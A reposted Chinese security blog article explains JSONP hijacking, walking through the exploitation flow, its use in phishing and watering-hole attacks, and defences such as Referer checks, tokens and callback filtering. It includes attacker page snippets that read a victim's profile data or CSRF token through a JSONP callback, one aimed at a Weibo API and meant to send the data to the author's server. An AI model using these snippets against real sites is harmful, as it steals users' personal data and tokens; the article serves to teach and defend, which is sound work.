jsonp劫持

摘要:
JSONP漏洞的利用过程如下:1)用户注册并登录B网站,其中包含用户的ID、姓名、电子邮件等信息;2) 用户通过浏览器向网站A发送URL请求;3) 站点A向用户返回一个响应页面,其中注册了从站点B请求的JavaScript回调函数和脚本标记。示例代码如下:functionCallback{alert;}˂scripttype=“text/javascript”src=“http://B.com/user?是的,它甚至可以是CSRFToken信息。有时,当CSRFToken无法获取但无法找到XSS攻击点时,您可能会考虑jsonp劫持。

什么是 JSONP 劫持

JSONP就是为了跨域 获取资源 而产生的一种 非官方 的技术手段(官方的有 CORS 和 postMessage),它利用的是 script 标签的 src 属性不受同源策略影响的特性。

我们遇到过很多的劫持的攻击方法,比如:dns 劫持、点击劫持、cookie劫持等等,也正如劫持这个词的含义:“拦截挟持”,dns 劫持就是把 dns 的解析截获然后篡改,点击劫持就是截获你的鼠标的点击动作,在用户不知情的情况下点击攻击者指定的东西,cookie 劫持就是获取用户的 cookie,然后可以进一步伪造身份,那么同样,jsonp 劫持就是攻击者获取了本应该传给网站其他接口的数据

JSONP 漏洞的利用过程及危害

通过JSONP技术可以实现数据的跨域访问,必然会产生安全问题,如果网站B对网站A的JSONP请求没有进行安全检查直接返回数据,则网站B 便存在JSONP 漏洞,网站A 利用JSONP漏洞能够获取用户在网站B上的数据。

JSONP漏洞利用过程如下:

1)用户在网站B 注册并登录,网站B 包含了用户的id,name,email等信息;

2)用户通过浏览器向网站A发出URL请求;

3)网站A向用户返回响应页面,响应页面中注册了 JavaScript 的回调函数和向网站B请求的script标签,示例代码如下:

<script type="text/javascript">
function Callback(result)
{
    alert(result.name);
}
</script>
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>

4)用户收到响应,解析JS代码,将回调函数作为参数向网站B发出请求;

5)网站B接收到请求后,解析请求的URL,以 JSON 格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器,网站B返回的数据实例如下:

Callback({"id":1,"name":"test","email":"test@test.com"})

6)网站B数据返回后,浏览器则自动执行Callback函数对步骤4返回的JSON格式数据进行处理,通过alert弹窗展示了用户在网站B的注册信息。另外也可将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息。

JSONP 漏洞利用过程示意图

jsonp劫持第1张

JSONP 劫持漏洞的危害

JSONP是一种敏感信息泄露的漏洞,经过攻击者巧妙而持久地利用,会对企业和用户造成巨大的危害。攻击者通过巧妙设计一个网站, 网站中包含其他网站的JSONP漏洞利用代码 ,将链接通过邮件等形式推送给受害人, 如果受害者点击了链接,则攻击者便可以获取受害者的个人的信息,如邮箱、姓名、手机等信息, 这些信息可以被违法犯罪分子用作“精准诈骗”。对方掌握的个人信息越多,越容易取得受害人的信任,诈骗活动越容易成功,给受害人带来的财产损失以及社会危害也就越大。

JSONP 漏洞利用技巧

利用技巧

JSONP 漏洞主要被攻击者用来在受害者不知不觉中窃取他们的隐私数据,常常被一些 APT 组织采用进行信息收集和钓鱼的工作( 水坑攻击 ),下面的一个例子就可以说是在模拟水坑攻击

当我们发现信息泄露的 jsonp 接口以后我们要做的就是在自己的网站上写一个脚本,然后引诱受害者去访问这个网站,一旦访问了这个网站,脚本就会自动运行,就会想这个接口请求用户的敏感数据,并传送到攻击者的服务器上

$.ajax({
    url: 'https://api.weibo.com/2/{隐藏了哦}',
    type: 'get',
    dataType: 'jsonp',
}).done(function(json){
    var id = json["data"]["id"];
    var screen_name = json["data"]["screen_name"];
    var profile_image_url = json["data"]["profile_image_url"];
 
    var post_data = "";
    post_data += "id=" + id + "&";
    post_data += "screen_name=" + screen_name + "&";
    post_data += "profile_image_url=" + encodeURIComponent(profile_image_url);
    console.log(post_data);
    // 发送到我的服务器上
}).fail(function() {});

如此就能收到大量用户的敏感信息;

相关扩展

(1)既然是窃取敏感信息,那么敏感信息除了一些 email 手机号 用户名等还有什么呢?没错,甚至可以是 CSRF Token 信息,有时候在 CSRF token 获取不到但是又找不到 XSS 的攻击点的时候不妨考虑一下 jsonp 劫持。

(2)这个攻击方式有点类似于 CSRF。

实例演示

目标服务器:

jsonp劫持第2张

本地测试代码

<html>
    <title>json hijacking</title>
    <body>
        <h3>JSON Hijacking</h3>
        <script type="text/javascript">
            function func(obj){alert(obj.token)}
        </script>
        <script src='http://存在漏洞的服务器IP/vul/json_hijack/json.php?callback=func'></script>
    </body>
</html>

访问以后效果如下:

jsonp劫持第3张

防护方案

1、严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。

2、严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。

3、严格过滤 callback 函数名及 JSON 里数据的输出。

4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。

5、其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。

免责声明:文章转载自《jsonp劫持》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇mssqlserver2014安装步骤强大的pdf文件操作小工具--PDFtk下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

html+js超大视频上传解决方案

需求:项目要支持大文件上传功能,经过讨论,初步将文件上传大小控制在500M内,因此自己需要在项目中进行文件上传部分的调整和配置,自己将大小都以501M来进行限制。 第一步: 前端修改 由于项目使用的是BJUI前端框架,并没有使用框架本身的文件上传控件,而使用的基于jQuery的Uploadify文件上传组件,在项目使用的jslib项目中找到了BJUI框架集...

UVM中的class--2

1)uvm_component从uvm_report_object继承而来,提供的功能包括: 1)Hierarchy,-----searching and traversing component hierachy 2)Phasing-----调用uvm_phase以及预先定义的很多phase 3)config-------调用config_db的m...

03.Linux基础操作

我学到了以下几点 01Linux系统介绍02系统安装,密码啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁琐 Linux:redhat,centos(红帽社区版),Ubuntu server,suse unix:金融机构,证券,银行,根据硬件配套区卖的 比较出名的lamp平台:Li...

android开发游记:ItemTouchHelper 使用RecyclerView打造可拖拽的GridView

以下是RecyclerView结合ItemTouchHelper实现的列表和网格布局的拖拽效果。 效果图例如以下:(gif图有点顿卡,事实上执行是非常流畅的) demo下载地址: DragRecyclerView 怎样实现那么是怎样实现的呢?主要就要使用到ItemTouchHelper ,ItemTouchHelper 是support-v7包中加入...

WEB漏洞挖掘技术总结

漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化。在前期针对缓冲区溢出、格式化字符串、堆溢出、lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术。   在针对ELF文件、PE文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件...

2017年最受欢迎的十大开源黑客工具

八 戒推荐一 【黑客】cracer入侵入门到精通视频教程 刚刚过去的2017年,对于大多数信息安全从业人员来说是无话可说的一年,充斥各种狗血的开脑洞的剧情,可以出问题的地方全部都出了问题,从MongoDB数据库、到WiFi安全协议、英特尔处理器漏洞、到NSA的超级武器包、僵尸摄像头、会挖矿的海盗湾、邻居胖子发明的想哭勒索病毒…万幸的是,下半场黑客实在扛不住...